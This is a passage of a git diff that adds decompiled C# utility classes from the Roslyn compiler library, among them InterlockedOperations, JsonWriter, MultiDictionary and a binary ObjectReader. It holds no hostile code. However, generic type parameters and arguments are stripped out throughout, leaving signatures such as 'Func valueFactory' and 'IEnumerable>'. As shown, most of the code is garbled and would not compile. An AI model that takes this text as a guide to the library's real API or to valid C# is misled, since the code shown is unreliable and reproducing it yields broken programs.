blob.GetBytes()); + } + } + + internal static void AppendData(this IncrementalHash hash, IEnumerable> blobs) + { + foreach (ArraySegment blob in blobs) + { + AppendData(hash, blob); + } + } + + internal static void AppendData(this IncrementalHash hash, ArraySegment segment) + { + hash.AppendData(segment.Array, segment.Offset, segment.Count); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/InterlockedOperations.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/InterlockedOperations.cs new file mode 100644 index 0000000..b60c99f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/InterlockedOperations.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Roslyn.Utilities; + +internal static class InterlockedOperations +{ + private static T GetOrStore([NotNull] ref T? target, T value) where T : class + { + return Interlocked.CompareExchange(ref target, value, null) ?? value; + } + + private static int GetOrStore(ref int target, int value, int uninitializedValue) + { + int num = Interlocked.CompareExchange(ref target, value, uninitializedValue); + if (num != uninitializedValue) + { + return num; + } + return value; + } + + public static T Initialize([NotNull] ref T? target, Func valueFactory) where T : class + { + return Volatile.Read(in target) ?? GetOrStore(ref target, valueFactory()); + } + + public static T Initialize([NotNull] ref T? target, Func valueFactory, TArg arg) where T : class + { + return Volatile.Read(in target) ?? GetOrStore(ref target, valueFactory(arg)); + } + + public static int Initialize(ref int target, int uninitializedValue, Func valueFactory, TArg arg) + { + int num = Volatile.Read(in target); + if (num != uninitializedValue) + { + return num; + } + return GetOrStore(ref target, valueFactory(arg), uninitializedValue); + } + + public static T? Initialize([NotNull] ref StrongBox? target, Func valueFactory) + { + return (Volatile.Read(in target) ?? GetOrStore(ref target, new StrongBox(valueFactory()))).Value; + } + + public static T? Initialize([NotNull] ref StrongBox? target, Func valueFactory, TArg arg) + { + return (Volatile.Read(in target) ?? GetOrStore(ref target, new StrongBox(valueFactory(arg)))).Value; + } + + public static T Initialize([NotNull] ref T? target, T value) where T : class + { + return GetOrStore(ref target, value); + } + + [return: NotNullIfNotNull("initializedValue")] + public static T Initialize(ref T target, T initializedValue, T uninitializedValue) where T : class? + { + T val = Interlocked.CompareExchange(ref target, initializedValue, uninitializedValue); + if (val != uninitializedValue) + { + return val; + } + return initializedValue; + } + + public static ImmutableArray Initialize(ref ImmutableArray target, ImmutableArray initializedValue) + { + ImmutableArray result = ImmutableInterlocked.InterlockedCompareExchange(ref target, initializedValue, default(ImmutableArray)); + if (!result.IsDefault) + { + return result; + } + return initializedValue; + } + + public static ImmutableArray Initialize(ref ImmutableArray target, Func> createArray) + { + return Initialize(ref target, (Func> func) => func(), createArray); + } + + public static ImmutableArray Initialize(ref ImmutableArray target, Func> createArray, TArg arg) + { + if (!target.IsDefault) + { + return target; + } + return Initialize_Slow(ref target, createArray, arg); + } + + private static ImmutableArray Initialize_Slow(ref ImmutableArray target, Func> createArray, TArg arg) + { + ImmutableInterlocked.Update(ref target, (ImmutableArray current, (Func> createArray, TArg arg) tuple) => (!current.IsDefault) ? current : tuple.createArray(tuple.arg), (createArray, arg)); + return target; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/JsonWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/JsonWriter.cs new file mode 100644 index 0000000..7aad7a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/JsonWriter.cs @@ -0,0 +1,316 @@ +using System; +using System.Globalization; +using System.IO; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal sealed class JsonWriter : IDisposable +{ + private enum Pending + { + None, + NewLineAndIndent, + CommaNewLineAndIndent + } + + private readonly TextWriter _output; + + private int _indent; + + private Pending _pending; + + private const string Indentation = " "; + + public JsonWriter(TextWriter output) + { + _output = output; + _pending = Pending.None; + } + + public void WriteObjectStart() + { + WriteStart('{'); + } + + public void WriteObjectStart(string key) + { + WriteKey(key); + WriteObjectStart(); + } + + public void WriteObjectEnd() + { + WriteEnd('}'); + } + + public void WriteArrayStart() + { + WriteStart('['); + } + + public void WriteArrayStart(string key) + { + WriteKey(key); + WriteArrayStart(); + } + + public void WriteArrayEnd() + { + WriteEnd(']'); + } + + public void WriteKey(string key) + { + Write(key); + _output.Write(": "); + _pending = Pending.None; + } + + public void Write(string key, string? value) + { + WriteKey(key); + Write(value); + } + + public void Write(string key, int value) + { + WriteKey(key); + Write(value); + } + + public void Write(string key, int? value) + { + WriteKey(key); + Write(value); + } + + public void Write(string key, bool value) + { + WriteKey(key); + Write(value); + } + + public void Write(string key, bool? value) + { + WriteKey(key); + Write(value); + } + + public void Write(string key, T value) where T : struct, Enum + { + WriteKey(key); + Write(value.ToString()); + } + + public void WriteInvariant(T value) where T : struct, IFormattable + { + Write(value.ToString(null, CultureInfo.InvariantCulture)); + } + + public void WriteInvariant(string key, T value) where T : struct, IFormattable + { + WriteKey(key); + WriteInvariant(value); + } + + public void WriteNull(string key) + { + WriteKey(key); + WriteNull(); + } + + public void WriteNull() + { + WritePending(); + _output.Write("null"); + _pending = Pending.CommaNewLineAndIndent; + } + + public void Write(string? value) + { + WritePending(); + if (value == null) + { + _output.Write("null"); + } + else + { + _output.Write('"'); + _output.Write(EscapeString(value)); + _output.Write('"'); + } + _pending = Pending.CommaNewLineAndIndent; + } + + public void Write(int value) + { + WritePending(); + _output.Write(value.ToString(CultureInfo.InvariantCulture)); + _pending = Pending.CommaNewLineAndIndent; + } + + public void Write(int? value) + { + if (value.HasValue) + { + int valueOrDefault = value.GetValueOrDefault(); + Write(valueOrDefault); + } + else + { + WriteNull(); + } + } + + public void Write(bool value) + { + WritePending(); + _output.Write(value ? "true" : "false"); + _pending = Pending.CommaNewLineAndIndent; + } + + public void Write(bool? value) + { + if (value.HasValue) + { + bool valueOrDefault = value == true; + Write(valueOrDefault); + } + else + { + WriteNull(); + } + } + + public void Write(T value) where T : struct, Enum + { + Write(value.ToString()); + } + + public void Write(T? value) where T : struct, Enum + { + if (value.HasValue) + { + T valueOrDefault = value.GetValueOrDefault(); + Write(valueOrDefault); + } + else + { + WriteNull(); + } + } + + private void WritePending() + { + if (_pending != Pending.None) + { + if (_pending == Pending.CommaNewLineAndIndent) + { + _output.Write(','); + } + _output.WriteLine(); + for (int i = 0; i < _indent; i++) + { + _output.Write(" "); + } + } + } + + private void WriteStart(char c) + { + WritePending(); + _output.Write(c); + _pending = Pending.NewLineAndIndent; + _indent++; + } + + private void WriteEnd(char c) + { + _pending = Pending.NewLineAndIndent; + _indent--; + WritePending(); + _output.Write(c); + _pending = Pending.CommaNewLineAndIndent; + } + + public void Dispose() + { + _output.Dispose(); + } + + internal static string EscapeString(string value) + { + PooledStringBuilder pooledStringBuilder = null; + StringBuilder stringBuilder = null; + if (RoslynString.IsNullOrEmpty(value)) + { + return string.Empty; + } + int startIndex = 0; + int num = 0; + for (int i = 0; i < value.Length; i++) + { + char c = value[i]; + if (c == '"' || c == '\\' || ShouldAppendAsUnicode(c)) + { + if (stringBuilder == null) + { + pooledStringBuilder = PooledStringBuilder.GetInstance(); + stringBuilder = pooledStringBuilder.Builder; + } + if (num > 0) + { + stringBuilder.Append(value, startIndex, num); + } + startIndex = i + 1; + num = 0; + switch (c) + { + case '"': + stringBuilder.Append("\\\""); + break; + case '\\': + stringBuilder.Append("\\\\"); + break; + default: + AppendCharAsUnicode(stringBuilder, c); + break; + } + } + else + { + num++; + } + } + if (stringBuilder == null) + { + return value; + } + if (num > 0) + { + stringBuilder.Append(value, startIndex, num); + } + return pooledStringBuilder.ToStringAndFree(); + } + + private static void AppendCharAsUnicode(StringBuilder builder, char c) + { + builder.Append("\\u"); + builder.AppendFormat(CultureInfo.InvariantCulture, "{0:x4}", (int)c); + } + + private static bool ShouldAppendAsUnicode(char c) + { + if (c >= ' ' && c < '\ufffe' && (c < '\ud800' || c > '\udfff')) + { + if (c != '\u0085' && c != '\u2028') + { + return c == '\u2029'; + } + return true; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/KeyValuePairUtil.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/KeyValuePairUtil.cs new file mode 100644 index 0000000..8c02933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/KeyValuePairUtil.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal static class KeyValuePairUtil +{ + public static KeyValuePair Create(K key, V value) + { + return new KeyValuePair(key, value); + } + + public static void Deconstruct(this KeyValuePair keyValuePair, out TKey key, out TValue value) + { + key = keyValuePair.Key; + value = keyValuePair.Value; + } + + public static KeyValuePair ToKeyValuePair(this (TKey, TValue) tuple) + { + return Create(tuple.Item1, tuple.Item2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/MultiDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/MultiDictionary.cs new file mode 100644 index 0000000..9bd15ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/MultiDictionary.cs @@ -0,0 +1,272 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal sealed class MultiDictionary : IEnumerable.ValueSet>>, IEnumerable where K : notnull +{ + public readonly struct ValueSet : IEnumerable, IEnumerable + { + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + [AllowNull] + private readonly V _value; + + private ImmutableHashSet.Enumerator _values; + + private int _count; + + object? IEnumerator.Current => Current; + + public V Current + { + get + { + if (_count <= 1) + { + return _value; + } + return _values.Current; + } + } + + public Enumerator(ValueSet v) + { + if (v._value == null) + { + _value = default(V); + _values = default(ImmutableHashSet.Enumerator); + _count = 0; + } + else if (!(v._value is ImmutableHashSet immutableHashSet)) + { + _value = (V)v._value; + _values = default(ImmutableHashSet.Enumerator); + _count = 1; + } + else + { + _value = default(V); + _values = immutableHashSet.GetEnumerator(); + _count = immutableHashSet.Count; + } + } + + public void Dispose() + { + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public bool MoveNext() + { + switch (_count) + { + case 0: + return false; + case 1: + _count = 0; + return true; + default: + if (_values.MoveNext()) + { + return true; + } + _count = 0; + return false; + } + } + } + + private readonly object? _value; + + private readonly IEqualityComparer _equalityComparer; + + public int Count + { + get + { + if (_value == null) + { + return 0; + } + if (!(_value is ImmutableHashSet immutableHashSet)) + { + return 1; + } + return immutableHashSet.Count; + } + } + + public ValueSet(object? value, IEqualityComparer? equalityComparer = null) + { + _value = value; + _equalityComparer = equalityComparer ?? ImmutableHashSet.Empty.KeyComparer; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public ValueSet Add(V v) + { + ImmutableHashSet immutableHashSet = _value as ImmutableHashSet; + if (immutableHashSet == null) + { + if (_equalityComparer.Equals((V)_value, v)) + { + return this; + } + immutableHashSet = ImmutableHashSet.Create(_equalityComparer, (V)_value); + } + return new ValueSet(immutableHashSet.Add(v), _equalityComparer); + } + + public bool Contains(V v) + { + if (!(_value is ImmutableHashSet immutableHashSet)) + { + return _equalityComparer.Equals((V)_value, v); + } + return immutableHashSet.Contains(v); + } + + public bool Contains(V v, IEqualityComparer comparer) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + V current = enumerator.Current; + if (comparer.Equals(current, v)) + { + return true; + } + } + } + return false; + } + + public V Single() + { + return (V)_value; + } + + public bool Equals(ValueSet other) + { + return _value == other._value; + } + } + + private readonly Dictionary _dictionary; + + private readonly IEqualityComparer? _valueComparer; + + private readonly ValueSet _emptySet = new ValueSet(null); + + public int Count => _dictionary.Count; + + public bool IsEmpty => _dictionary.Count == 0; + + public Dictionary.KeyCollection Keys => _dictionary.Keys; + + public Dictionary.ValueCollection Values => _dictionary.Values; + + public ValueSet this[K k] + { + get + { + if (!_dictionary.TryGetValue(k, out var value)) + { + return _emptySet; + } + return value; + } + } + + public MultiDictionary() + { + _dictionary = new Dictionary(); + } + + public MultiDictionary(IEqualityComparer comparer) + { + _dictionary = new Dictionary(comparer); + } + + public void EnsureCapacity(int capacity) + { + } + + public MultiDictionary(int capacity, IEqualityComparer comparer, IEqualityComparer? valueComparer = null) + { + _dictionary = new Dictionary(capacity, comparer); + _valueComparer = valueComparer; + } + + public bool Add(K k, V v) + { + ValueSet value2; + if (_dictionary.TryGetValue(k, out var value)) + { + value2 = value.Add(v); + if (value2.Equals(value)) + { + return false; + } + } + else + { + value2 = new ValueSet(v, _valueComparer); + } + _dictionary[k] = value2; + return true; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Dictionary.Enumerator GetEnumerator() + { + return _dictionary.GetEnumerator(); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + public bool ContainsKey(K k) + { + return _dictionary.ContainsKey(k); + } + + internal void Clear() + { + _dictionary.Clear(); + } + + public void Remove(K key) + { + _dictionary.Remove(key); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NoThrowStreamDisposer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NoThrowStreamDisposer.cs new file mode 100644 index 0000000..d3b4c2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NoThrowStreamDisposer.cs @@ -0,0 +1,46 @@ +using System; +using System.IO; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal class NoThrowStreamDisposer : IDisposable +{ + private bool? _failed; + + private readonly string _filePath; + + private readonly DiagnosticBag _diagnostics; + + private readonly CommonMessageProvider _messageProvider; + + public Stream Stream { get; } + + public bool HasFailedToDispose => _failed == true; + + public NoThrowStreamDisposer(Stream stream, string filePath, DiagnosticBag diagnostics, CommonMessageProvider messageProvider) + { + Stream = stream; + _failed = null; + _filePath = filePath; + _diagnostics = diagnostics; + _messageProvider = messageProvider; + } + + public void Dispose() + { + try + { + Stream.Dispose(); + if (!_failed.HasValue) + { + _failed = false; + } + } + catch (Exception e) + { + _messageProvider.ReportStreamWriteException(e, _filePath, _diagnostics); + _failed = true; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonCopyableAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonCopyableAttribute.cs new file mode 100644 index 0000000..606f26e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonCopyableAttribute.cs @@ -0,0 +1,8 @@ +using System; + +namespace Roslyn.Utilities; + +[AttributeUsage(AttributeTargets.Struct | AttributeTargets.GenericParameter)] +internal sealed class NonCopyableAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonDefaultableAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonDefaultableAttribute.cs new file mode 100644 index 0000000..d814b60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/NonDefaultableAttribute.cs @@ -0,0 +1,8 @@ +using System; + +namespace Roslyn.Utilities; + +[AttributeUsage(AttributeTargets.Struct | AttributeTargets.GenericParameter)] +internal sealed class NonDefaultableAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinder.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinder.cs new file mode 100644 index 0000000..798c83a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinder.cs @@ -0,0 +1,44 @@ +using System; +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal static class ObjectBinder +{ + private static readonly object s_gate = new object(); + + private static ObjectBinderSnapshot? s_lastSnapshot = null; + + private static readonly Dictionary s_typeToIndex = new Dictionary(); + + private static readonly List s_types = new List(); + + private static readonly List> s_typeReaders = new List>(); + + public static ObjectBinderSnapshot GetSnapshot() + { + lock (s_gate) + { + if (!s_lastSnapshot.HasValue) + { + s_lastSnapshot = new ObjectBinderSnapshot(s_typeToIndex, s_types, s_typeReaders); + } + return s_lastSnapshot.Value; + } + } + + public static void RegisterTypeReader(Type type, Func typeReader) + { + lock (s_gate) + { + if (!s_typeToIndex.ContainsKey(type)) + { + int count = s_typeReaders.Count; + s_types.Add(type); + s_typeReaders.Add(typeReader); + s_typeToIndex.Add(type, count); + s_lastSnapshot = null; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinderSnapshot.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinderSnapshot.cs new file mode 100644 index 0000000..12cc976 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectBinderSnapshot.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Roslyn.Utilities; + +internal readonly struct ObjectBinderSnapshot(Dictionary typeToIndex, List types, List> typeReaders) +{ + private readonly Dictionary _typeToIndex = new Dictionary(typeToIndex); + + private readonly ImmutableArray _types = types.ToImmutableArray(); + + private readonly ImmutableArray> _typeReaders = typeReaders.ToImmutableArray(); + + public int GetTypeId(Type type) + { + return _typeToIndex[type]; + } + + public Type GetTypeFromId(int typeId) + { + return _types[typeId]; + } + + public Func GetTypeReaderFromId(int typeId) + { + return _typeReaders[typeId]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectReader.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectReader.cs new file mode 100644 index 0000000..dad9095 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectReader.cs @@ -0,0 +1,635 @@ +using System; +using System.IO; +using System.Runtime.ExceptionServices; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal sealed class ObjectReader : IDisposable +{ + private readonly struct ReaderReferenceMap : IDisposable where T : class + { + private readonly SegmentedList _values; + + private static readonly ObjectPool> s_objectListPool = new ObjectPool>(() => new SegmentedList(20)); + + private ReaderReferenceMap(SegmentedList values) + { + _values = values; + } + + public static ReaderReferenceMap Create() + { + return new ReaderReferenceMap(s_objectListPool.Allocate()); + } + + public void Dispose() + { + _values.Clear(); + s_objectListPool.Free(_values); + } + + public int GetNextObjectId() + { + int count = _values.Count; + _values.Add(null); + return count; + } + + public void AddValue(T value) + { + _values.Add(value); + } + + public void AddValue(int index, T value) + { + _values[index] = value; + } + + public T GetValue(int referenceId) + { + return _values[referenceId]; + } + } + + internal const byte VersionByte1 = 170; + + internal const byte VersionByte2 = 12; + + private readonly BinaryReader _reader; + + private readonly CancellationToken _cancellationToken; + + private readonly ReaderReferenceMap _objectReferenceMap; + + private readonly ReaderReferenceMap _stringReferenceMap; + + private readonly ObjectBinderSnapshot _binderSnapshot; + + private int _recursionDepth; + + private ObjectReader(Stream stream, bool leaveOpen, CancellationToken cancellationToken) + { + _reader = new BinaryReader(stream, Encoding.UTF8, leaveOpen); + _objectReferenceMap = ReaderReferenceMap.Create(); + _stringReferenceMap = ReaderReferenceMap.Create(); + _binderSnapshot = ObjectBinder.GetSnapshot(); + _cancellationToken = cancellationToken; + } + + public static ObjectReader TryGetReader(Stream stream, bool leaveOpen = false, CancellationToken cancellationToken = default(CancellationToken)) + { + if (stream == null) + { + return null; + } + try + { + if (stream.ReadByte() != 170 || stream.ReadByte() != 12) + { + return null; + } + } + catch (AggregateException ex) when (ex.InnerException != null) + { + ExceptionDispatchInfo.Capture(ex.InnerException).Throw(); + } + return new ObjectReader(stream, leaveOpen, cancellationToken); + } + + public static ObjectReader GetReader(Stream stream, bool leaveOpen, CancellationToken cancellationToken) + { + int num = stream.ReadByte(); + switch (num) + { + case -1: + throw new EndOfStreamException(); + default: + throw ExceptionUtilities.UnexpectedValue(num); + case 170: + num = stream.ReadByte(); + return num switch + { + -1 => throw new EndOfStreamException(), + 12 => new ObjectReader(stream, leaveOpen, cancellationToken), + _ => throw ExceptionUtilities.UnexpectedValue(num), + }; + } + } + + public void Dispose() + { + _objectReferenceMap.Dispose(); + _stringReferenceMap.Dispose(); + _recursionDepth = 0; + } + + public bool ReadBoolean() + { + return _reader.ReadBoolean(); + } + + public byte ReadByte() + { + return _reader.ReadByte(); + } + + public char ReadChar() + { + return (char)_reader.ReadUInt16(); + } + + public decimal ReadDecimal() + { + return _reader.ReadDecimal(); + } + + public double ReadDouble() + { + return _reader.ReadDouble(); + } + + public float ReadSingle() + { + return _reader.ReadSingle(); + } + + public int ReadInt32() + { + return _reader.ReadInt32(); + } + + public long ReadInt64() + { + return _reader.ReadInt64(); + } + + public sbyte ReadSByte() + { + return _reader.ReadSByte(); + } + + public short ReadInt16() + { + return _reader.ReadInt16(); + } + + public uint ReadUInt32() + { + return _reader.ReadUInt32(); + } + + public ulong ReadUInt64() + { + return _reader.ReadUInt64(); + } + + public ushort ReadUInt16() + { + return _reader.ReadUInt16(); + } + + public string ReadString() + { + return ReadStringValue(); + } + + public Guid ReadGuid() + { + ObjectWriter.GuidAccessor guidAccessor = new ObjectWriter.GuidAccessor + { + Low64 = ReadInt64(), + High64 = ReadInt64() + }; + return guidAccessor.Guid; + } + + public object ReadValue() + { + _ = _recursionDepth; + _recursionDepth++; + object result; + if (_recursionDepth % 50 == 0) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + result = SerializationThreadPool.RunOnBackgroundThreadAsync(() => ReadValueWorker()).GetAwaiter().GetResult(); + } + else + { + result = ReadValueWorker(); + } + _recursionDepth--; + return result; + } + + private object ReadValueWorker() + { + ObjectWriter.TypeCode typeCode = (ObjectWriter.TypeCode)_reader.ReadByte(); + switch (typeCode) + { + case ObjectWriter.TypeCode.Null: + return null; + case ObjectWriter.TypeCode.Boolean_True: + return true; + case ObjectWriter.TypeCode.Boolean_False: + return false; + case ObjectWriter.TypeCode.Int8: + return _reader.ReadSByte(); + case ObjectWriter.TypeCode.UInt8: + return _reader.ReadByte(); + case ObjectWriter.TypeCode.Int16: + return _reader.ReadInt16(); + case ObjectWriter.TypeCode.UInt16: + return _reader.ReadUInt16(); + case ObjectWriter.TypeCode.Int32: + return _reader.ReadInt32(); + case ObjectWriter.TypeCode.Int32_1Byte: + return (int)_reader.ReadByte(); + case ObjectWriter.TypeCode.Int32_2Bytes: + return (int)_reader.ReadUInt16(); + case ObjectWriter.TypeCode.Int32_0: + case ObjectWriter.TypeCode.Int32_1: + case ObjectWriter.TypeCode.Int32_2: + case ObjectWriter.TypeCode.Int32_3: + case ObjectWriter.TypeCode.Int32_4: + case ObjectWriter.TypeCode.Int32_5: + case ObjectWriter.TypeCode.Int32_6: + case ObjectWriter.TypeCode.Int32_7: + case ObjectWriter.TypeCode.Int32_8: + case ObjectWriter.TypeCode.Int32_9: + case ObjectWriter.TypeCode.Int32_10: + return (int)(typeCode - 19); + case ObjectWriter.TypeCode.UInt32: + return _reader.ReadUInt32(); + case ObjectWriter.TypeCode.UInt32_1Byte: + return (uint)_reader.ReadByte(); + case ObjectWriter.TypeCode.UInt32_2Bytes: + return (uint)_reader.ReadUInt16(); + case ObjectWriter.TypeCode.UInt32_0: + case ObjectWriter.TypeCode.UInt32_1: + case ObjectWriter.TypeCode.UInt32_2: + case ObjectWriter.TypeCode.UInt32_3: + case ObjectWriter.TypeCode.UInt32_4: + case ObjectWriter.TypeCode.UInt32_5: + case ObjectWriter.TypeCode.UInt32_6: + case ObjectWriter.TypeCode.UInt32_7: + case ObjectWriter.TypeCode.UInt32_8: + case ObjectWriter.TypeCode.UInt32_9: + case ObjectWriter.TypeCode.UInt32_10: + return (uint)(typeCode - 36); + case ObjectWriter.TypeCode.Int64: + return _reader.ReadInt64(); + case ObjectWriter.TypeCode.UInt64: + return _reader.ReadUInt64(); + case ObjectWriter.TypeCode.Float4: + return _reader.ReadSingle(); + case ObjectWriter.TypeCode.Float8: + return _reader.ReadDouble(); + case ObjectWriter.TypeCode.Decimal: + return _reader.ReadDecimal(); + case ObjectWriter.TypeCode.Char: + return (char)_reader.ReadUInt16(); + case ObjectWriter.TypeCode.StringUtf8: + case ObjectWriter.TypeCode.StringUtf16: + case ObjectWriter.TypeCode.StringRef_1Byte: + case ObjectWriter.TypeCode.StringRef_2Bytes: + case ObjectWriter.TypeCode.StringRef_4Bytes: + return ReadStringValue(typeCode); + case ObjectWriter.TypeCode.ObjectRef_4Bytes: + return _objectReferenceMap.GetValue(_reader.ReadInt32()); + case ObjectWriter.TypeCode.ObjectRef_1Byte: + return _objectReferenceMap.GetValue(_reader.ReadByte()); + case ObjectWriter.TypeCode.ObjectRef_2Bytes: + return _objectReferenceMap.GetValue(_reader.ReadUInt16()); + case ObjectWriter.TypeCode.Object: + return ReadObject(); + case ObjectWriter.TypeCode.DateTime: + return DateTime.FromBinary(_reader.ReadInt64()); + case ObjectWriter.TypeCode.Array: + case ObjectWriter.TypeCode.Array_0: + case ObjectWriter.TypeCode.Array_1: + case ObjectWriter.TypeCode.Array_2: + case ObjectWriter.TypeCode.Array_3: + return ReadArray(typeCode); + case ObjectWriter.TypeCode.EncodingName: + return Encoding.GetEncoding(ReadString()); + case ObjectWriter.TypeCode.FirstWellKnownTextEncoding: + case (ObjectWriter.TypeCode)61: + case (ObjectWriter.TypeCode)62: + case (ObjectWriter.TypeCode)63: + case (ObjectWriter.TypeCode)64: + case (ObjectWriter.TypeCode)65: + case (ObjectWriter.TypeCode)66: + case (ObjectWriter.TypeCode)67: + case (ObjectWriter.TypeCode)68: + case ObjectWriter.TypeCode.LastWellKnownTextEncoding: + return ObjectWriter.ToEncodingKind(typeCode).GetEncoding(); + case ObjectWriter.TypeCode.EncodingCodePage: + return Encoding.GetEncoding(ReadInt32()); + default: + throw ExceptionUtilities.UnexpectedValue(typeCode); + } + } + + internal uint ReadCompressedUInt() + { + byte num = _reader.ReadByte(); + byte b = (byte)(num & 0xC0); + byte b2 = (byte)(num & -193); + switch (b) + { + case 0: + return b2; + case 64: + { + byte b6 = _reader.ReadByte(); + return (uint)((b2 << 8) | b6); + } + case 128: + { + byte b3 = _reader.ReadByte(); + byte b4 = _reader.ReadByte(); + byte b5 = _reader.ReadByte(); + return (uint)((b2 << 24) | (b3 << 16) | (b4 << 8) | b5); + } + default: + throw ExceptionUtilities.UnexpectedValue(b); + } + } + + private string ReadStringValue() + { + ObjectWriter.TypeCode typeCode = (ObjectWriter.TypeCode)_reader.ReadByte(); + if (typeCode != ObjectWriter.TypeCode.Null) + { + return ReadStringValue(typeCode); + } + return null; + } + + private string ReadStringValue(ObjectWriter.TypeCode kind) + { + switch (kind) + { + case ObjectWriter.TypeCode.StringRef_1Byte: + return _stringReferenceMap.GetValue(_reader.ReadByte()); + case ObjectWriter.TypeCode.StringRef_2Bytes: + return _stringReferenceMap.GetValue(_reader.ReadUInt16()); + case ObjectWriter.TypeCode.StringRef_4Bytes: + return _stringReferenceMap.GetValue(_reader.ReadInt32()); + case ObjectWriter.TypeCode.StringUtf8: + case ObjectWriter.TypeCode.StringUtf16: + return ReadStringLiteral(kind); + default: + throw ExceptionUtilities.UnexpectedValue(kind); + } + } + + private unsafe string ReadStringLiteral(ObjectWriter.TypeCode kind) + { + string text; + if (kind == ObjectWriter.TypeCode.StringUtf8) + { + text = _reader.ReadString(); + } + else + { + int num = (int)ReadCompressedUInt(); + fixed (byte* value = _reader.ReadBytes(num * 2)) + { + text = new string((char*)value, 0, num); + } + } + _stringReferenceMap.AddValue(text); + return text; + } + + private Array ReadArray(ObjectWriter.TypeCode kind) + { + int num = kind switch + { + ObjectWriter.TypeCode.Array_0 => 0, + ObjectWriter.TypeCode.Array_1 => 1, + ObjectWriter.TypeCode.Array_2 => 2, + ObjectWriter.TypeCode.Array_3 => 3, + _ => (int)ReadCompressedUInt(), + }; + ObjectWriter.TypeCode typeCode = (ObjectWriter.TypeCode)_reader.ReadByte(); + Type type = ObjectWriter.s_reverseTypeMap[(int)typeCode]; + if (type != null) + { + return ReadPrimitiveTypeArrayElements(type, typeCode, num); + } + type = ReadTypeAfterTag(); + Array array = Array.CreateInstance(type, num); + for (int i = 0; i < num; i++) + { + object value = ReadValue(); + array.SetValue(value, i); + } + return array; + } + + private Array ReadPrimitiveTypeArrayElements(Type type, ObjectWriter.TypeCode kind, int length) + { + if (type == typeof(byte)) + { + return _reader.ReadBytes(length); + } + if (type == typeof(char)) + { + return _reader.ReadChars(length); + } + if (type == typeof(string)) + { + return ReadStringArrayElements(CreateArray(length)); + } + if (type == typeof(bool)) + { + return ReadBooleanArrayElements(CreateArray(length)); + } + return kind switch + { + ObjectWriter.TypeCode.Int8 => ReadInt8ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Int16 => ReadInt16ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Int32 => ReadInt32ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Int64 => ReadInt64ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.UInt16 => ReadUInt16ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.UInt32 => ReadUInt32ArrayElements(CreateArray(length)), + 